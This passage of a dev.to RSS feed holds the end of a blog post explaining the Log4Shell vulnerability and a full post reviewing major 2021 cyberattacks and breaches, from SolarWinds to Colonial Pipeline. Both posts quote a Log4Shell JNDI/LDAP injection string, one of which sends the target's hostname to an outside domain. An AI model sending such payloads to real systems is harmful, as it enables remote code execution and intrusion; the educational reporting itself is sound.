&lt;p&gt;For example, &lt;code&gt;${jndi:ldap://example.com/file}&lt;/code&gt; asks JNDI to use the LDAP protocol to get the specified file hosted on the LDAP server. JNDI returns the object to log4j and it stores it. Now you might already know where this is going - &lt;strong&gt;Untrusted JNDI lookups to attacker-controlled servers!!!&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;An attacker could submit a string specifically crafted to tell log4j to use JNDI and retrieve a malicious payload hosted on the attacker's server. Log4j will store the object and Java will execute it resulting in RCE!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvl2qsyy4sc911a55kg3b.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvl2qsyy4sc911a55kg3b.jpeg" alt="Log4j Meme 2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Initial Detection and The Impact
&lt;/h2&gt;

&lt;p&gt;Believe it or not, this vulnerability was discovered on a Minecraft server! So, all this chaos was a result of just some gamers messing around - internet is a gift that keeps on giving! &lt;/p&gt;

&lt;p&gt;The impact of this is HUGE. Every single service that uses Java and Log4j for their logging purposes might be vulnerable to log4shell. iPhone, Steam, Minecraft, Twitter, Google, Tesla, Microsoft were just among some of the biggest vendors affected by this. &lt;/p&gt;

&lt;p&gt;Although a patch was issued, the impact doesn't stop here. There might still be hundreds of thousands of websites affected by this and they won't even know about it until much later. It is estimated we'll see the implications of this for &lt;a href="https://www.wired.com/story/log4j-log4shell/" rel="noopener noreferrer"&gt;years to come&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;On March 22 2022, Okta was hacked where it is believed to be the work of &lt;a href="https://en.wikipedia.org/wiki/Lapsus$" rel="noopener noreferrer"&gt;LAPSUS$&lt;/a&gt; hacker group. It is being speculated that the hack was a result of an earlier log4shell exploitation in Okta's infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  What led to this?
&lt;/h2&gt;

&lt;p&gt;Looking at all of this, a question arises - How did all of this even happen? What led to this? Didn't anybody catch it earlier? The thing is that Log4j is open-source. Lots of contributors spend their time and effort in contributing to this and hence, this type of overlook in development is perfectly normal and possible. &lt;/p&gt;

&lt;p&gt;The surprising part though, is that this vulnerability has existed since 2013! This means for almost 9 years it went undetected even after several researchers warned about &lt;a href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf" rel="noopener noreferrer"&gt;untrusted JNDI lookups&lt;/a&gt; and attack vectors involving it. As a community, we need to be proactive in researching and mitigating issues like these before they pop up.&lt;/p&gt;




&lt;h2&gt;
  
  
  Closing Remarks
&lt;/h2&gt;

&lt;p&gt;The likes of Log4Shell RCE vulnerabilities are said to be found once in a decade - and we saw this type of damage done by EternalBlue used during the WannaCry ransomware attacks. It poses a question - What's waiting for us in the future and How many more vulnerabilities like these are still out there, just waiting for another gamer to stumble upon them?&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>java</category>
      <category>bitbybit</category>
    </item>
    <item>
      <title>A rundown of the biggest cyber attacks &amp; breaches in 2021 - and what lies ahead for us</title>
      <dc:creator>Jaiyank S.</dc:creator>
      <pubDate>Thu, 31 Mar 2022 17:17:10 +0000</pubDate>
      <link>https://dev.to/siphyshu/a-rundown-of-the-biggest-cyber-attacks-breaches-in-2021-and-what-lies-ahead-for-us-4pc2</link>
      <guid>https://dev.to/siphyshu/a-rundown-of-the-biggest-cyber-attacks-breaches-in-2021-and-what-lies-ahead-for-us-4pc2</guid>
      <description>&lt;p&gt;2021 was a rollercoaster ride for everyone, not only in the real world but also the virtual one - the internet. From sophisticated attacks on supposedly "secure" systems to malicious hacker groups targeting companies with ransomware, we witnessed it all.&lt;/p&gt;

&lt;p&gt;Starting with the unfolding of the SolarWinds supply-chain attack and ending the year with the log4j 0day fiasco, there was a LOT that happened in between. Here's the timeline of what I think were the most impactful and possibly the worst cyber attacks, events and breaches of the year.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr911rb79y82553chbcoz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr911rb79y82553chbcoz.png"&gt;&lt;/a&gt;&lt;br&gt;Timeline of Cyber Attacks, Events and Breaches in 2021
  &lt;/p&gt;

&lt;h2&gt;
  
  
  Supply-Chain Attacks
&lt;/h2&gt;

&lt;p&gt;Supply Chain Attacks are a sophisticated way of breaking into a seemingly secure infrastructure. They prey on trust systems between two parties. Instead of directly exploiting a target, they involve compromising a service that the target uses and then using that to get into the original target.&lt;/p&gt;

&lt;h2&gt;
  
  
  SolarWinds
&lt;/h2&gt;

&lt;p&gt;SolarWinds hack was the work of a Russian hacker group allegedly named "Nobelium". This was quite a sophisticated attack involving exploiting a supply chain. The attackers were able to compromise SolarWinds' infrastructure and pass down trojanized software in form of updates to users through Orion - Solarwinds' monitoring and management platform.&lt;/p&gt;

&lt;p&gt;Although technically, the SolarWinds attack was discovered in early December, much of its developments continued in and after January. In a report by SolarWinds, they stated a majority of Fortune 500 companies, U.S military departments, and even the Pentagon were breached due to this.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kaseya
&lt;/h2&gt;

&lt;p&gt;The infamous REvil hacker group attacked Kaseya with yet another supply-chain ransomware attack in July. They leveraged a 0day authentication bypass vulnerability in Kaseya's VSA web interface. Through that, they achieved RCE and similar to SolarWinds, pushed out a fake update dubbed as "Kaseya VSA Agent Hot-Fix" to all VSAs vendors and MSPs. Sophos, one of the vendors that were affected, put out a &lt;a href="https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/" rel="noopener noreferrer"&gt;technical analysis&lt;/a&gt; on their blog.&lt;/p&gt;

&lt;p&gt;In a &lt;a href="https://helpdesk.kaseya.com/hc/en-gb/articles/4403584098961" rel="noopener noreferrer"&gt;report&lt;/a&gt; published by Kaseya, they said,&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;fewer than 60 Kaseya customers, all of which were using the VSA on-premises product, who was directly compromised by this attack. … we understand the total impact thus far has been to fewer than 1,500 downstream businesses.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  The REvil Ransomwares
&lt;/h2&gt;

&lt;p&gt;A hacker group named REvil was in the highlights all throughout the year. Popular for its ransomware attacks on high-profile targets such as Acer, Apple, JBS Foods, a U.S Nuclear Contractor "Sol Oriens", the Kaseya supply-chain ransomware and countless others - it caused an upward of hundreds of millions of dollars worth of estimated damage with over 7000 victims hit.&lt;/p&gt;

&lt;p&gt;A few days ago of writing this article, 14 of REvil's members were arrested in an inter-country operation. This is surprising as Russia is known for protecting and largely ignoring any illegal hacking activity as long as it doesn't affect their country. Seytonic's video explains how it all went down.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/socZS33h-aE"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  Quanta and Apple
&lt;/h3&gt;

&lt;p&gt;The Taiwanese electronics and computer giant was hit by ransomware in march where REvil demanded, in what is known as the biggest ransomware to date, a whopping $50m. Though Acer agreed to pay 1/5th of the ransom, REvil rejected it. It is unclear what followed after that as Acer refused to comment further citing security concerns. Later that year, Acer India was hacked by a malicious hacker group "Desorden", claiming to have stolen 60GB worth of sensitive files from Acer servers, compromising the details of millions of its customers and the login credentials of around 3000 vendors.&lt;/p&gt;

&lt;p&gt;Shortly after, REvil hacked Quanta - which is one of the manufacturers for Apple and threatened to release stolen data in the failure of paying the $50m ransom. After quanta refused to pay, REvil shifted its focus to Apple instead. REvil leaked a dozen schematics as proof on its dark web website just before Apple's Spring Loaded event to increase pressure on the same.&lt;/p&gt;

&lt;h3&gt;
  
  
  JBS Foods and Sol Oriens
&lt;/h3&gt;

&lt;p&gt;In June, REvil attacked JBS Foods - the world's largest meat processing company, with ransomware as well. JBS Foods reportedly paid a ransom of $11m in order to resolve the attack and decrypt its files. With no intentions of stopping with JBS Foods, later that month REvil attacked a U.S Nuclear Weapons Contractor, Sol Oriens. Data containing invoices for NNSA contracts, descriptions of research and development projects and even the social security numbers of all Sol Oriens employees was stolen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mess-Ups in Microsoft
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Microsoft Exchange Exploit
&lt;/h3&gt;

&lt;p&gt;Four 0day exploits were found in the Microsoft Exchange servers triggering a series of attacks and breaches for the first three months of the year. Almost 250,000 servers around the globe were estimated to be vulnerable as a result of this attack. In March, Microsoft finally addressed the issue and released a patch for it. The backdoors installed still remained after patching, and thus many servers were infected with ransomware.&lt;/p&gt;

&lt;h3&gt;
  
  
  Microsoft PrintNightmare
&lt;/h3&gt;

&lt;p&gt;Continuing the nightmares for Microsoft, a new vulnerability nicknamed "PrintNightmare" (&lt;a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527" rel="noopener noreferrer"&gt;CVE-2021-34527&lt;/a&gt;) was found in Windows' Print spooler service just before July. According to Microsoft's &lt;a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527" rel="noopener noreferrer"&gt;official report&lt;/a&gt; - "An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights."&lt;/p&gt;

&lt;h2&gt;
  
  
  Data Leaks and Breaches
&lt;/h2&gt;

&lt;p&gt;2021 was big on data leaks as well. Social Media sites, Facebook and LinkedIn saw its data leaked and up for sale on the dark web. Breaches were also reported in CoinBase, Accenture, Pixlr and even the Indian police.&lt;/p&gt;

&lt;h3&gt;
  
  
  Facebook and Linkedin
&lt;/h3&gt;

&lt;p&gt;The tech giant, Facebook, came under the crosshairs in April when the personal data of over 566 million users was published on a forum. It was assumed that the data leaked due to a vulnerability in Facebook from 2019.&lt;/p&gt;

&lt;p&gt;Later in June, the data of 700 million LinkedIn users were put up for sale in a hacking forum on the dark web. Although it didn't include any private data and was a result of OSINT using the API, It still meant a great deal.&lt;/p&gt;

&lt;h3&gt;
  
  
  Indian Data Breaches
&lt;/h3&gt;

&lt;p&gt;The month of January ended with a leak of the Indian Police Exam database. Records containing sensitive and PII of ~500,000 people were leaked on Raidforums. Following month, another government company, Air India suffered a massive security breach that exposed the names, addresses, contact information, D.O.B, credit card data, etc of its passengers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuvfwe3jw60b2a346ffal.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuvfwe3jw60b2a346ffal.png"&gt;&lt;/a&gt;&lt;br&gt;Indian Police Exam Database Leak Sample
  &lt;/p&gt;

&lt;h2&gt;
  
  
  Colonial Pipeline
&lt;/h2&gt;

&lt;p&gt;On May 7, the colonial pipeline was shut down for the first time in 57 years. Due to a single leaked password of a VPN account, the Russia-based hacker group DarkSide was able to hack into the Colonial infrastructure and infect it with ransomware. This was a scary attack as it highlighted how a digital hack can have very real physical consequences. For 5 days, the biggest gasoline pipeline of the U.S. stayed shut which created a fuel shortage and price hike. DarkSide reportedly stole 100GB of confidential data and ultimately, Colonial gave in to the demands and paid a $4.4m ransom.&lt;/p&gt;

&lt;h2&gt;
  
  
  Log4Shell 0-Day
&lt;/h2&gt;

&lt;p&gt;The year ended with the discovery of what some call "the vulnerability of a decade" - the Log4Shell 0-day. This was a vulnerability in the popular java logging framework, log4j 2. It allowed for Remote Code Execution on any service running this logger. The part that made it so severe was the simplicity of it all. A simple payload like the one below demonstrates how easy it is to execute commands on a vulnerable system using this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;${jndi:ldap://x${hostName}.redacted.com/a}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The impact of this is huge. Imagine every single service running this seemingly innocent logging framework vulnerable to RCE. It wreaked havoc for the first two weeks in the cybersec community with devs tirelessly working to patch up their systems while hackers were actively exploiting it. The scary part is that this vulnerability has existed since 2013! This means for almost 9 years it went undetected even after several researchers warned about &lt;a href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf" rel="noopener noreferrer"&gt;untrusted JNDI lookups&lt;/a&gt; and attack vectors involving it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Lies Ahead?
&lt;/h2&gt;

&lt;p&gt;The first month of 2022 has barely finished, and we have already seen various cyber-attacks and vulnerabilities popping up.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Crypto.com hacked due to an authentication bypass vulnerability leading to theft of $30m worth of cryptocurrency from 483 wallets.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ransomwares such as Qlocker, STOP, and Chaos are on the rise again.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A hacker group, allegedly of Indian origins, named "DoNot" is targeting Government and Military organizations in South Asia. Read &lt;a href="https://thehackernews.com/2022/01/donot-hacking-team-targeting-government.html" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://thehackernews.com/2022/01/hackers-planted-secret-backdoor-in.html" rel="noopener noreferrer"&gt;Secret backdoors&lt;/a&gt; installed in WordPress plugins and themes are now being used for executing yet more supply-chain attacks.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's hope the rest of the year passes rather peacefully.&lt;/p&gt;




&lt;p&gt;With that we come to an end, hope you learnt something from this article. I am Jaiyank Saxena aka Siphyshu, an engineering student and a "CyberSec Enthu Cutlet". Connect with me on my socials through &lt;a href="https://linktr.ee/siphyshu" rel="noopener noreferrer"&gt;here&lt;/a&gt;! Lastly, to be part of a growing cybersec community, do join my &lt;a href="https://dsc.gg/siphysec" rel="noopener noreferrer"&gt;discord server&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>news</category>
    </item>
  </channel>
</rss>
